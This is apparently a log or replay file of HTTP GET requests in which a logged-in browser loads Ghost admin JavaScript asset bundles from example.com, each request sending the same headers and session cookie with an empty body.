{"method": "GET", "target": "/ghost/assets/radio-group-COYgs1Oh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/switch-08pTpI2l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tabs-x_EBkQ-i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/textarea-9kkkItPg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/toggle-group-CbBD6ECj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/images-CClFWRrp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-format-DrcVrnM2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-return-DmblXePh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/purify.es-By5UdXoD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-unsaved-changes-guard-BIfTQjJz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-router-history-entry-DYG_hZv1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chip-picker-aAXRsU0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sortable.esm-H4JOBEIz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/virtual-list-1NcFkHUd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-B0j4y8A_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/screen-entrance-provider-CPNWSe2Y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/assertString-xweUBf3M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tag-picker-CMxUiZw6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/email-previews-6rA3kQE8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/emails-BZ3mvix4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index.es-DkE4XGsf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/brand-icon-BpkWg1bw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/content-text-BP5YhPKd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/autocomplete-links-CF9oXdcC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/koenig-lexical-5yl8QMt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-B2CflbHM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-settings-navigation-B27QqD50.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/confirmation-context-CI7uiAXg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/zapier-modal-D4_YmIR5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/action-list-D-8kNw_l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/link-0l1oEvYX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-modal-CdZFHHmU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/integrations-02NPOVjz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/api-keys-qurkm_HE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/copy-field-eUmv88Uy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/integration-header-DEFc4kRn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/api-keys-DD6tzM0P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sidebar-Cxgn680J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/global-data-context-DEBn4F7a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/orb-pink-DHoYttFD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/global-data-provider-CG0GJ0r9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/main-content-Bao0puGh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-form-BOZ1UvGu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-filterable-api-BsdfR4Bh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/offers-CpDs1FEB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/automated-emails-D2Q9JPUm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/default-welcome-email-values-CxlAh2m6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletter-emails-BvujP3GR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/currency-BL-JTctJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/esm-RgJomlUm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-Bi9qob2Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DxKBAZcj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
